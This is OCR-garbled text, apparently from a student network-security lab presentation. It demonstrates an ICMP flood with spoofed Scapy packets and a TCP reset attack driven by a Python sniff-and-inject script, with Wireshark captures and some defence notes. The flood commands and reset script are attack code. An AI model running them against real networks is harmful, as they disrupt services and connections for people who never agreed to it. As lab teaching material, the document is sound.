By Team 6







distant host

® Check for the oort;

® See that no application listens at that port;
MILG Y with an ICMP Destination Unreachable packet.
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Also inside the scri ;

e go to victim machine and ope

e can see that the network usage is almost 100% fully used.

So it means that once the victim machine tries to assess the attacked port, it wont be possible since all the resources are used up.
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ckets, this
vich sends ICMP

packets as T lies. This attack is successful

if the attacker has more k an the victim.

® One possible solution for ICMP Flood is blocking IPs that send too many ICMP

erkeeuests. o server(this solutions can be used also for others flooding attacks)




ICMP ATTACK DYNAMICS

The attacker sends ISMP echao
requests with spoofed source The router passes the echo requests
addresses. anly if a policy permets them.
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spocf=d IF
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—| Echo Request : —

; P - Echo Reply |——

— Mlaximum Limit of ICMIF Echo Regussts per Second —

After the ISP threshold s reachead,

4| Echo Request Ir the router rejects further IGMP echa requests
fram all addresses in the same secunity

zore for the remaindes of the current

second and the next second as well.

———{ Echo Reqguest |

Legetirmate ICMP echa reguest fraam an
address in the same Security Zome




* Because  IP for ICMP ping request.

* When a legitimate request comes from an user(victim IP) he will be drop, and
5 it’s still a DoS attack.
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ending

destination [P in

® Check in ashc

®* When server block ICMP flood, try to sent ping request from Victim PC, if it's denied
attack is successful.
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eeoe dos@dos-VirtualBox: ~

dos@dos-VvVirtualBox:~$ sudo scapy

[sudo] password for dos:

WARNING: No route found for IPv6 destination :: (no default route?)

Welcome to Scapy (2.2.0)

>>> packet = IP(src="192.168.1.103",dst="192.168.1.101")/ICMP()/"Helloooo!"
>>> packet.show()

HEH] 10 (HHE#H

src= 192.168.1.163
dst= 192.168.1.101

\ \
#HHH[ 1O (H#EH
#H#[ zzﬁ,‘,-,=]###

>>> l

11



& = & dos@dos-VirtualBox: ~
>>> send(packet, loop=1)
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Terminal 1)) 23:54 %
Q < T &£ EIE @ =@ il B X @

Time Source Destination Protocol Lengtt Info

000000000 192.168.1.103 192.168.1.101 ICMP 51 Echo {ping) request id=e0x8008, seq=0,/0, ttl=64 ) dos@dos-VirtualBox: ~
000497008 CadmusCo 73:67:7a Broadcast ARP 60 Who has 192.168.1.1837 Tell 192.168.1.101
002016800 192.168.1.163 1k .1.1681 ICMP Echo (ping) request 1id=0x0008, seq=0/8, ttl=64
.004496000 192.168.1.103 I .1.101 ICMP Echo (ping) reguest 1d=exPee@, seg=0/0, ttl=64
.006249000 192.168.1.103 192, .1.1e1 ICMP Echo (ping) request id=6xPee8, seg=0/0, ttl=64
.007811000 192.168.1.103 192, .1.1681 ICMP Echo (ping) request id=exeee@, seq=0/0, ttl=64
.009552000 192.168.1.103 192, .1.1681 ICMP Echo (ping) request 1id=0x0000, seq=0/8, ttl=64
.011228000 192.168.1.163 1l .1.1681 ICMP Echo (ping) request id=0x0000, seq=0/8, ttl=64
.815129000 192.168.1.103 192. .1.181 ICMP Echo (ping) request id=0x0008, seq=8/8, ttl=64
.026211000 192.168.1.103 1l .1.181 ICMP Echo (ping) request id=exPee8, seg=0/0, ttl=64
.031473000 192.168.1.103 192, .1.1681 ICMP Echo (ping) request id=exeee@, seq=0/0, ttl=64
.938912000 192. .1e1 ICMP Echo (ping) request id=exeee@, seq=0/0, ttl=64
.041922000 192. .101 ICMP Echo (ping) request id=6x0008, seq=0/0, ttl=64
.044210000 192. Echo (ping) request id=exPee8, seq=0/0, ttl=64
046039000 192. Echo (ping) regquest id=exPee@, seg=0/0, ttl=64
047536000 192. Echo (ping) request id=exeee@, seq=0/0, ttl=64
049623000 192. Echo (ping) request id=ex0e0@, seq=0/0, ttl=64
051248000 192. Echo (ping) request id=ex0008, seq=0/0, ttl=64
052924000 192. Echo (ping) request id=6x8008, seq=0/0, ttl=64
.054560000 192. Echo (ping) regquest id=exPee@, seg=0/0, ttl=64
.057149000 192. Echo (ping) request id=6x8088, seq=08/8, ttl=64
.858940000 192. Echo (ping) request id=exeeee, seq=0/0, ttl=64
.060593000 192. Echo (ping) request id=ex0008, seq=0/0, ttl=64
.064922000 192. Echo (ping) request id=6x0008, seq=0/0, ttl=64
.071044000 192. Echo (ping) reguest id=exPee®, seg=0/0, ttl=64
.074174000 192. Echo (ping) request id=6xPe08, seg=0/0, ttl=64
.876536000 192. Echo (ping) request id=exeeee, seq=0/0, ttl=64
.078265000 192. Echo (ping) request id=ex0008, seq=0/0, ttl=64
.079913080 192. Echo (ping) request id=6x8008, seq=0/0, ttl=64
.083338000 192. Echo (ping) request id=exPee8, seq=0/0, ttl=64
086092000 192. Echo (ping) request id=exPee8, seg=0/0, ttl=64
087455000 192. Echo (ping) request id=exee08@, seq=0/0, ttl=64
089081000 192. Echo (ping) request id=ex0e08, seq=0/0, ttl=64
090718000 192. Echo (ping) request id=6x0008, seq=0/0, ttl=64
092142000 192. Echo (ping) request id=exPee8, seq=0/0, ttl=64
.180701000 192.168. Echo (ping) reguest id=exPee®, seg=0/0, ttl=64
.102704000 192.168.1.103 192. 1. Echo (ping) request id=exee08@, seq=0/0, ttl=64
. i€5146983 192.158.1.183 192. cdle Echo (ping) request id=ex0e0@, seq=0/0, ttl=64
1A7R2aMAA 147 TRAR 12 102 1RA 1l Frha [ninal rannact id=RvonOn can=A/A t+1=R4

dos@dos-VirtualBox:~$ wireshark
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Terminal Lrs = 4y) o012 ¥
dl BX @

1033157 98679.24354€ 192.168.

....... —_—

1.103 192.168.1.101 ICHP 66 Echo (ping) request id=8x0e68, seq=0/8, ttl=64
1033158 98679.244933192.168.1.163 192.168.1.101 ICHP 60 Echo (ping) request 1d=0x0000, seq=0/0, ttl=64
1033159 98679.24658¢ 192.168.1.163 192.168.1.101 ICHP 60 Echo (ping) request 1id=0x0080, seq=0/0, ttl=64
1933160 98679.247932192.168.1.163 192.168.1.101 ICHP 66 Echo (ping) request id=6x0600, seq=0/0, ttl=64 [MECCEIN. LG T LEEET YRV T JIE(-1) S
1933161 98679.249327192.168.1.163 192.168.1.101 ICHP CENEE S P RIS PO L IS VMR EEEI (s Gdos_server-VirtualBox:~$ sudo python /defense.py
1033162 98679.25072€ 192.168.1.163 192.168.1.101 ICHP 60 Echo (ping) request 1d=0x0000, seq=0/0, ttl=64
1033163 98679.25220€ 192.168.1.163 192.168.1.101 ICHP 60 Echo (ping) request seq=0/0, ttl=64
1933164 98679.266735192.168.1.163 192.168.1.101 ICHP 66 Echo (ping) request id=8x0e80, seq=6/6, ttl=64
1833165 98679.265262 192.168.1.163 192.168.1.101 ICHP 66 Echo (ping) request id=8x0e00, seq=6/8, ttl=64
1033166 98679.27140S 192.168.1.163 192.168.1.101 ICHP 60 Echo (ping) request 1d=0x0000, seq=0/0, ttl=64
1033167 98679.272807 192.168.1.163 192.168.1.101 ICHP 60 Echo (ping) request 1d=0x0080, seq=0/6, ttl=64
1933168 98679.27580€ 192.168.1.163 192.168.1.101 ICHP 66 Echo (ping) request id=8x0e80, seq=6/6, ttl=64
1833169 98679.279883 192.168.1.163 192.168.1.101 ICHP 66 Echo (ping) request id=8x0e00, seq=6/8, ttl=64
1033170 98679.28121¢192.168.1.163 192.168.1.101 ICHP 60 Echo (ping) request 1d=0x0000, seq=0/0, ttl=64
1033171 98679.284285192.168.1.163 192.168.1.101 ICHP 60 Echo (ping) request 1d=0x0080, seq=0/6, ttl=64
1933172 98679.285583 192.168.1.163 192.168.1.101 ICHP 66 Echo (ping) request id=8x0e80, seq=6/6, ttl=64
1833173 98679.29584¢ 192.168.1.163 192.168.1.101 ICHP 66 Echo (ping) request id=8x0e00, seq=6/8, ttl=64
1033174 98679.301287192.168.1.163 192.168.1.101 ICHP 60 Echo (ping) request 1d=0x0000, seq=0/0, ttl=64
1033175 98679.304105192.168.1.163 192.168.1.101 ICHP 60 Echo (ping) request 1d=0x0080, seq=0/6, ttl=64
1933176 98679.30541€ 192.168.1.163 192.168.1.101 ICHP 66 Echo (ping) request id=8x0e80, seq=6/6, ttl=64
1833177 98679.30870S 192.168.1.163 192.168.1.101 ICHP 66 Echo (ping) request id=8x0e00, seq=6/8, ttl=64
1033178 98679.312113192.168.1.163 192.168.1.101 ICHP 60 Echo (ping) request 1d=0x0000, seq=0/0, ttl=64
1033179 98679.316674192.168.1.163 192.168.1.101 ICHP 60 Echo (ping) request 1d=0x0080, seq=0/6, ttl=64
1933180 98679.317609 192.168.1.163 192.168.1.101 ICHP 66 Echo (ping) request id=8x0e80, seq=6/6, ttl=64
1933181 98679.323277192.168.1.163 192.168.1.101 ICHP 66 Echo (ping) request id=8x0e68, seq=0/8, ttl=64
1933182 98679.33307¢ 192.168.1.163 192.168.1.101 ICHP 60 Echo (ping) request 1d=0x0000, seq=0/0, ttl=64
1033183 98679.336682 192.168.1.163 192.168.1.101 ICHP 60 Echo (ping) request 1d=0x0080, seq=0/0, ttl=64
1933184 98679.342737192.168.1.163 192.168.1.101 ICHP 66 Echo (ping) request id=8x0ee8, seq=6/8, ttl=64
1933185 98679.349213192.168.1.163 192.168.1.101 ICHP 66 Echo (ping) request id=8x0e68, seq=0/8, ttl=64
1033186 98679.364771192.168.1.163 192.168.1.101 ICHP 60 Echo (ping) request 1d=0x0000, seq=0/0, ttl=64
1033187 98679.36962€ 192.168.1.163 192.168.1.101 ICHP 60 Echo (ping) request 1id=0x0080, seq=0/0, ttl=64
1MIVII00 ACERTA 2TIACL 1IN TR0 1 1A 107 18e 1 147 Truan &0 Crha (ninal ramoact id—avanon Fean—0in ++1—&a

b Frame 1088473: 87 bytes on wire (696 bits), 87 bytes captured (696 bits) on interface ®

»Ethernet II, Src: CadmusCo fc:49:ce (08:00:27:fc:49:ce), Dst: IPv4mcast 90:08:Tb (01:00:5e:00:80:fb)
»Internet Protocol Version 4, Src: 192.168.1.102 (192.168.1.102), Dst: 224.0.0.251 (224.0.0.251)
M‘ser Lacagrim Frooncol, %0° Port: mdns (5353), Dst Port: mdns (5353)

»Domain Name System (query)




icrosoft Windows XP [Uersion 5.1.26801]
(C> Copyright 1985-2801 Microsoft Corp.

:\Documents and Settings\Student >ping 192.168.1.161

192.168.1.1081 with 32 bytes of data:

timed out.
timed out.
timed out.
timed out.

ing statistics for 192.168.1.101:

Packets: Sent = 4. Received = B, Lost = 4 {(108x loss).

:\Documents and Settings\Student>

Rt
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veen 2 other

rom the packets)

® This third compute ackets to one of the computers to kill a

TCP connection.
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S h is a connection

oriented and relic
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snif all the TCP

packets (extractir d a TCP reset packet to the server.

® Host B will stop streaming audio to host A.
@
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TCP Connection Teardown
Reset (RST)

o
‘cgy
&

N

Destination
172.16.253.4

2.006919  172. 4 172.16.252.3
2.007906 172. 16 252.3 172.16.253.4
7.013335 172.16.252_.3

-3 172.16.253. 4

Protocol

>~ 4001 [RST] Seq=1 Win=5840

SACE-6—-302023: Teardown TCP connection 0x71b3 for wlan2502: 172. 16.252.3/33333
(L72.16.252.3/33333) to vlan2503:172.16.253.4/4001 (172.16.253.4/4001) duration
0:00: 07 bytes 160 TCP Reset




© @ ® Media Playback Audio Video Subtitle Tools View Help
OpenfFile... ctri+0
Open Multiple Files... shift+Ctri+0
Open Directory... Ctrl+F
Open Disc... Ctri+D
Open Network Stream... Ctrl+N

ATy = @) 21:51 %

Open Capture Device... cerl+C
Open Location from clipboard ctri+v
Open Recent Media >
Save Playlist to File... Ctrl+Y
Convert / Save... cerl+R
'+ Stream... Ctrl+s
Quit at the end of playlist
E Quit ctrl+Q
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VLC media player ‘. 1 = ) 21:57 %
|'a'|
=

@ () Stream Output

Destination Setup
Select destinations to stream to

&

Add destinations following the streaming methods you need. Be sure to check with transcoding
that the format is compatible with the method used.

File

New destination .
MS-WMSP (MMSH)

RTSP

RTP / MPEG Transport Stream

RTP Audio/Video Profile

UDP (legacy)

ORK SECURITY LAB ceCas

& Display locally




VLC mec Media Playback Audio Video Subtitle Tools View Help

A G 1 b «) 21:59 %

@ © oOpen Media

C o L]
File Disc | & Me

Network Protocol

Sme

3

Y

v
-
-

hd

")




1\\5 SCAPY SCRIPT

File Edit View Search Tools Documents Help a G 1 m 1)) 22:46 1%
E rE‘ open ~+ BB save .g. &, undo 3 O

- TCP_reset.py X | o ICMP_IPscan.py X

(R P Jusr/binfenv python
-El from scapy.all import *
>_
£

def packet_handler(pkt):
iplayer=pkt.getlayer(IP)
source_ip=iplayer.src

#Checking if the request is from the client
if source_ip== "192.168.56.2":

print " source ip of packet is %s" % source_ip

num=pkt.getlayer(TCP)

#print(pkt.show())

t_sequence= num.seq

t_sourceport=num.sport

print "sequence number is %s" % t_sequence
#Calling function to send reset packet

terminate(t_sourceport, t_sequenceb

def terminate(temp_sport, temp_seqnum):
i= IP()
i.src= "192.168.56.2"
i.dst= "192.168.56.1"
i.proto="tcp"

t= TCP()
t.sport=temp_sport
t.dnor=Ra80
t.seq=temp_seqnum
t.ack=045

- -

Python » Tab width: 8 ~ Ln 17, Col 45




Termina! File Edit View Search Terminal Help

A G 4 B = ) 2251 %

@ ® @ dos@dos-VirtualBox: ~/Desktop

dos@dos-VirtualBox:~/Desktop$ sudo python TCP_reset.py

WARNING: Mo route found for IPv6 destination :: (no default route?)
source ip of packet is 192.168.56.2

sequence number is 3614663301

Sent 1 packets.

Reset Done

dos@dos-VirtualBox:~/Desktop$ sudo wireshark &

[1] 16939

dos@dos-VirtualBox:~/Desktop$ sudo python TCP_reset.py

WARNING: No route found for IPv6é destination :: (no default route?)
source ip of packet is 192.168.56.2

sequence number is 4117534794

Sent 1 packets.

Reset Done

source ip of packet is 192.168.56.2
sequence number is 4117534794

Ssent 1 packets.

Reset Done
dos@dos-VirtualBox:~/Desktops [J
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1y == 4)) 22:50 3%

= i % ¢ Q * T & EE
* | Expression...

Time Source Destination Protocol Lengtlk Info
448 11.80451600€ 192.168.56. 192.168.56. TCP 66 44370 > http-alt [ACK]| Seg=1 Ack=189336 Win=1324 Len=0 TSval=2289305 TSecr=2298
449 11.85061900€ 192.168.56. 192.168.56. HTTP 902 Continuation or non-HTTP traffic
450 11.85085700€ 192.168.56. 192.168.56. TCP 66 44370 > http-alt [ACK] Segq=1 Ack=198172 Win=1324 Len=0 TSval=2289316 TSecr=2298
451 11.89028400€ 192.168.56. 192.168.56. HTTP 1320 Continuation or non-HTTP traffic
452 11.92849600€ 192.168.56. 192.168.56. TCP 66 44378 > http-alt [ACK] Seg=1 Ack=191426 Win=1324 Len=0 TSval=2289336 TSecr=2298
453 11.97327500€ 192.168.56. 192.168.56. HTTP 9682 Continuation or non-HTTP traffic
454 11.97347000€ 192.168.56. 192.168.56. TCP 66 44370 > http-alt [ACK] Seq=1 Ack=192262 Win=1324 Len=0 TSval=2289347 TSecr=2298
455 12.081456000€ 192.168.56. 192.168.56. HTTP 1320 Continuation or non-HTTP traffic
456 12.085246100€ 192.168.56. 192.168.56. TCP 66 44370 > http-alt [ACK] Segq=1 Ack=193516 Win=1324 Len=0 TSval=2289367 TSecr=2298
457 12.06064300€ CadmusCo bB8:81:5a Broadcast ARP 42 wWho has 192.168.56.17 Tell 192.168.56.2
458 12.06137900€ CadmusCo c6:b9:ch CadmusCo b@:81:5a ARP 660 192.168.56.1 is at 08:00:27:c6:b9:cH

2.063976000€ 192.168.56.2 192.168.56.1 4 44370 > http-alt [RST] Segq=1 Win=8192 Len=0

2.07233000€ 192.168.56.2 192.168.56.1 4 44370 > http-alt [RST] Seg=1 Win=8192 Len=0

.. f»Frame 14: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface ©
h....d »Ethernet II, Src: CadmusCo b@:81:5a (08:00:27:b0:81:5a), Dst: CadmusCo c6:b9:c6 (08:08:27:c6:b9:c6)
pInternet Protocol Version 4, Src: 192.168.56.2 (192.168.56.2), Dst: 192.168.56.1 (192.168.56.1)
’ pTransmission Control Protocol, Src Port: 44370 (44370), Dst Port: http-alt (8@88), Seq: 1, Ack: 5016, Len: ©@

RN R RN

7
1
2
1
2
1
7
1
2

88 00 27 c6 b9 c6 88 B0 27 be 81 5a B8 00 45 68
00 34 43 4b 40 00 40 86 06 25 c® a8 38 02 cO a8
35 €1 ad 52 1f 9@ f5 6c 98 4a 63 f5 bb 0f 80 18
85 2c f1l 7a 60 @0 81 01 ©8 Ba 00 22 e3 59 0O 23
As 7

File: "/emp/wireshark_pcapng_... Packets: 460 - Displayed: 460 (100,0%) - Dropped: 0 (0,0%) Profile: Default







